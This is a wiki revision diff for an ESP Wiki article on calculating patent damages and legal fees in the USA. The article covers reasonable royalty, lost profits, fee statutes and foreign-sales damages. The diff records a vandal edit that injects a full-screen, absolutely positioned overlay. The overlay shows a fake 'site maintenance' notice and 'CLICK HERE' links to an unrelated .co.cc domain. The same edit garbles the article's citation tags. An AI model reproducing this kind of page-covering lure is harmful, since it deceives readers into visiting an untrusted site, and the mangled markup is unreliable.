ESP Wiki is looking for moderators and active contributors!

Difference between revisions of "Calculating damages and legal fees in the USA"

(→‎Related pages on {{SITENAME}}: * Costs)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://oqagacyti.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://oqagacyti.co.cc CLICK HERE]=
 +
----
 +
</div>
 
{{navbox}}
 
{{navbox}}
−
This article is a start at documenting '''how awards/damages are calculated in the [[USA]]'''.  The general principal is that the infringer will have to pay either a "reasonable royalty" or the lost profits.<ref>http://www.pubpat.org/assets/files/ftisapresentation/RavicherFTISAPresentation.mp3 (time:14:05)</ref>
+
This article is a start at documenting '''how awards/damages are calculated in the [[USA]]'''.  The general principal is that the infringer will have to pay either a "reasonable royalty" or the lost profits.&lt;ref>http://www.pubpat.org/assets/files/ftisapresentation/RavicherFTISAPresentation.mp3 (time:14:05)&lt;/ref>
  
 
==Types of awards==
 
==Types of awards==
Line 12: Line 20:
 
==Damages in the USA for foreign infringements==
 
==Damages in the USA for foreign infringements==
  
−
A blog about the [[Alcatel-Lucent v. Microsoft (2008, USA)]] case mentioned that "''According to reports, about half of the damage award is based on foreign sales under US patent law section 271(f).''"<ref>http://ipgeek.blogspot.com/2007/02/you-thought-paying-sisvel-ended-your.html</ref>
+
A blog about the [[Alcatel-Lucent v. Microsoft (2008, USA)]] case mentioned that "''According to reports, about half of the damage award is based on foreign sales under US patent law section 271(f).''"&lt;ref>http://ipgeek.blogspot.com/2007/02/you-thought-paying-sisvel-ended-your.html&lt;/ref>
  
−
See also another case: [[Microsoft v. AT&T (2006, USA)]].
+
See also another case: [[Microsoft v. AT&amp;T (2006, USA)]].
  
 
==Related pages on {{SITENAME}}==
 
==Related pages on {{SITENAME}}==

Revision as of 00:30, 24 November 2010

This article is a start at documenting how awards/damages are calculated in the USA. The general principal is that the infringer will have to pay either a "reasonable royalty" or the lost profits.<ref>http://www.pubpat.org/assets/files/ftisapresentation/RavicherFTISAPresentation.mp3 (time:14:05)</ref>

Types of awards

Possible types of damages include:

  • 35 USC §284 (damages) [1]
  • 35 USC §285 (award of attorneys fees) [2]
  • Fed.R.Civ.P. 11 or 28 USC 1927

Can you help? need some case law for the above laws


Damages in the USA for foreign infringements

A blog about the Alcatel-Lucent v. Microsoft (2008, USA) case mentioned that "According to reports, about half of the damage award is based on foreign sales under US patent law section 271(f)."<ref>http://ipgeek.blogspot.com/2007/02/you-thought-paying-sisvel-ended-your.html</ref>

See also another case: Microsoft v. AT&T (2006, USA).

Related pages on ESP Wiki

External links

Media Queue v. Netflix

References

Retrieved from "https://wiki.endsoftwarepatents.org/w/index.php?title=Calculating_damages_and_legal_fees_in_the_USA&oldid=21287"